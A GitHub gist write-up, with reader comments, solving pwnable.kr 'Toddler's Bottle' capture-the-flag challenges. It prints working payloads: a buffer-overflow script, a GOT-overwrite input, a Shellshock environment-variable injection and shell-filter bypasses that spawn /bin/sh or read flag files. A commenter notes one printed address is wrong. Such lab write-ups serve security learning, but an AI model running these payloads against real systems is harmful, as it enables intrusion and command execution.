Instantly share code, notes, and snippets.

# ihciah/README.MD Created Jan 19, 2016

Pwnable.kr Toddler's Bottle writeup

# Pwnable.kr Toddler's Bottle writeup

ihciah@gmail.com

It has been a long time since I finish(nearly) these problems...

## 1. fd

In linux, `0` is std_input, `1` is std_output, `2` is std_error_output.

We just need to send `LETMEWIN` to std_input and set fd to `0` which means (our input - 0x1234) == 0.

So, `echo "LETMEWIN" | ./fd 4660` will solve the problem.

## 2. collision

In this problem we have to enter 5 numbers whose sum is `0x21DD09EC`. Since the use of `strlen`, we should not enter `\x00`

`hex(0x21dd09ec-0x01010101*4)` equals `0x1dd905e8`, which does not contain `\x00`

`./col `python -c 'print "\xe8\x05\xd9\x1d"+"\x01"*16')` `

## 3. bof

``````int __cdecl func(int a1)
{
char s; // [sp+1Ch] [bp-2Ch]@1
int v3; // [sp+3Ch] [bp-Ch]@1

v3 = *MK_FP(__GS__, 20);
puts("overflow me : ");
gets(&s);
if ( a1 == 0xCAFEBABE )
system("/bin/sh");
else
puts("Nah..");
return *MK_FP(__GS__, 20) ^ v3;
}
``````

The stack:

``````s:`ebp-2c`
v3:`ebp-c`
`old ebp`
`a1`
``````

So we need to overwrite `0x2c + 4*2` trash and the value of `a1`.

``````from pwn import *
sh=remote('pwnable.kr',9000)
sh.sendline("A"*52+"\xbe\xba\xfe\xca")
sh.interactive()
``````

## 4. flag

Seems that the file has been packed with `upx`

`upx -d flag -o a.out` and load `a.out` with IDA, open string window, then it should has found the flag:

`.rodata:0000000000496628 0000002A C UPX...? sounds like a delivery service :)`

## 5. passcode

main:

``````int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("Toddler's Secure Login System 1.0 beta.");
welcome();
puts("Now I can safely trust you that you have credential :)");
return 0;
}
``````

welcome:

``````int welcome()
{
char v1; // [sp+18h] [bp-70h]@1
int v2; // [sp+7Ch] [bp-Ch]@1

v2 = *MK_FP(__GS__, 20);
printf("enter you name : ");
__isoc99_scanf("%100s", &v1);
printf("Welcome %s!\n", &v1);
return *MK_FP(__GS__, 20) ^ v2;
}
``````

``````int login()
{
int v1; // [sp+18h] [bp-10h]@0
int v2; // [sp+1Ch] [bp-Ch]@0

printf("enter passcode1 : ");
__isoc99_scanf("%d");
fflush(stdin);
printf("enter passcode2 : ");
__isoc99_scanf("%d");
puts("checking...");
if ( v1 != 338150 || v2 != 13371337 )
{
exit(0);
}
return system("/bin/cat flag");
}
``````

In `welcome`, `v1` is at `bp-70h`, we can control 100 chars. In `login`, `v1` is at `bp-10h`. Although these two `v1` is not the same, there's no push or pop between `welcome` and `login`. `0x70-0x10=96`, which means we can control 4 chars, that is to say, we can control the initial value of `passcode1(name in source code)`.

In `login`, it does `scanf("%d", passcode1);`, so we can write 4 bytes at any place we want.

We can overwrite `fflush`'s `GOT` and let it jump to `system("/bin/cat flag")`

`python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514147\n'" | ./passcode `

## 6. random

This code does not use unpredictable seed to generate random number, so the numbers it generated are always the same.

The first value is `1804289383`, after xor with `0xdeadbeef` we can get the answer: `3039230856`.

## 7. input

Too lazy to write this solution...

## 8. leg

In `key1`, `mov r3, pc; mov r0, r3;` will set `r0` to `0x00008cdc + 8` (In arm mode pc will save current place + 8)

In `key2`, `add r6, pc, #1; bx r6;` will switch to thumb mode. `mov r3, pc; adds r3, #4; mov r0, r3;` will set `r0` to `0x00008d04 + 4 + 4` (In thumb mode pc will save the current place + 4)

In `key3` it will return `lr`, which is the return address.

``````0x00008d7c <+64>:	bl	0x8d20 <key3>
0x00008d80 <+68>:	mov	r3, r0
``````

So the `key3` is `0x00008d80`.

`key1 + key2 + key3` equals `108400`

## 9. mistake

`fd = open("/tmp/xx.txt",O_RDONLY,0400) < 0` is equivalent to `fd = (open("/tmp/xx.txt",O_RDONLY,0400) < 0)`.

`open("/tmp/xx.txt",O_RDONLY,0400)` will be `0`, so `fd` will be `0 < 0` which is `0`.

So just input two input one of which is xor of the other input.

## 10. shellshock

It's shellshock bug.

Pass x='() { :;}; /home/shellshock/bash -c "cat /home/shellshock/flag"' as an environment variable and execve shellshock will get flag.

## 11. coin1

Too lazy to write this solution...

## 12. blackjack

It a integer overflow. If you enter `1000` at first, you will be told `You cannot bet more money than you have.`

But if you enter `10000000000` then you can continue.

Try to win once and you become millionaire.

## 13. lotto

``````int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
``````

This code means if what you entered is in lotto, for example lotto is !"#\$%&, and you enter ######, it's ok.

So just try ###### until you get flag.

Your trying time will follow G(1-(1-6/45)^6) that is G(0.576). (bigger than predicting a coin :)

## 14. cmd1

What you enter should not include `flag`, `sh`, `tmp`, and the `PATH` is of no use.

And if you pass the validate, what you entered will be executed.

It's simple to bypass the validate and print the flag: the word can be joined or use `*`, and we can use full path which means there's no need to use `PATH` in environment variable.

For example, `./cmd1 "/bin/cat fl*"` will print the flag.

`mommy now I get what PATH environment is for :)`

This flag will be the key of `cmd2`

## 15. cmd2

This problem has more word forbidden. We should not use `PATH`, `export`, ```, `flag`, `=`, `/`. Also, it clear all environment variables.

It seems a little bit difficult...But since we can use some function in shell, can we construct the forbidden characters ? We know that if we have `/`, thing will be as easy as `echo1`, so let's construct `/`.

We can use `pwd` to print where are we, this string contains `/`, in shell we can cut string.

This is the answer when I solved this problem, it seems that the problem has been modified after that time...

``````./cmd2 'A=\$(pwd);B=\${A%home*};C=\$B"bin"\$B"cat "\$B"home"\$B"cmd2"\$B"fl""ag";\$C'
``````

You have to try not to use `=` is you want to use this method.

## 16. uaf

https://gist.github.com/ihciah/3c157f18f49bd2287470

### aencode commented Apr 23, 2016

 Hello Sir, I have a question (maybe its silly) in problem 5.passcode payload : python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514147\n'" | ./passcode clearly '\x00\xa0\x04\x08' is mem address of EIP Ques : How to find mem address of EIP register? Pls answer ASAP.

### William93 commented Jun 18, 2016

 I don't understand where does the '134514147' come from..

### sferrini commented Jun 23, 2016

 Hey @aencode and @William93 I'll try to answer to both your questions: First of all `EIP` is a register, so it doesn't have an address at all. The only way to access it, is via it's name. Now, as @ihciah said, in the passcode challenge we can write 4 bytes at any place we want. The goal here is to jump where it is placed the system call to `cat` in our binary. (0x80485E3 which in decimal is 134514147). To do so, we override the `GOT` of `fflush` with our address. `readelf -r passcode | grep fflush` gives to us: 0x0804a004 `00000207 R_386_JUMP_SLOT 00000000` fflush`@GLIBC_2.0` PS: @ihciah if you want to exploit it with fflush`'\x00\xa0\x04\x08'` is wrong, the correct one is `'\x04\xa0\x04\x08'` Let me know if there is something that still not clear to you.

### OMantere commented Aug 11, 2016 • edited

 Nice writeup, thanks for putting this up. Thought might share my take on cmd2, a bit more elegant way using echo and octal bytes: `./cmd2 "\\$(echo -n '\057\142\151\156\057\163\150')"` Note that this only gets the shell, after which it is trivial to `/bin/cat flag`.

### xh4x0r3r commented Jan 19, 2018

 for cmd2, you can use ./cmd2 "read x;\$x"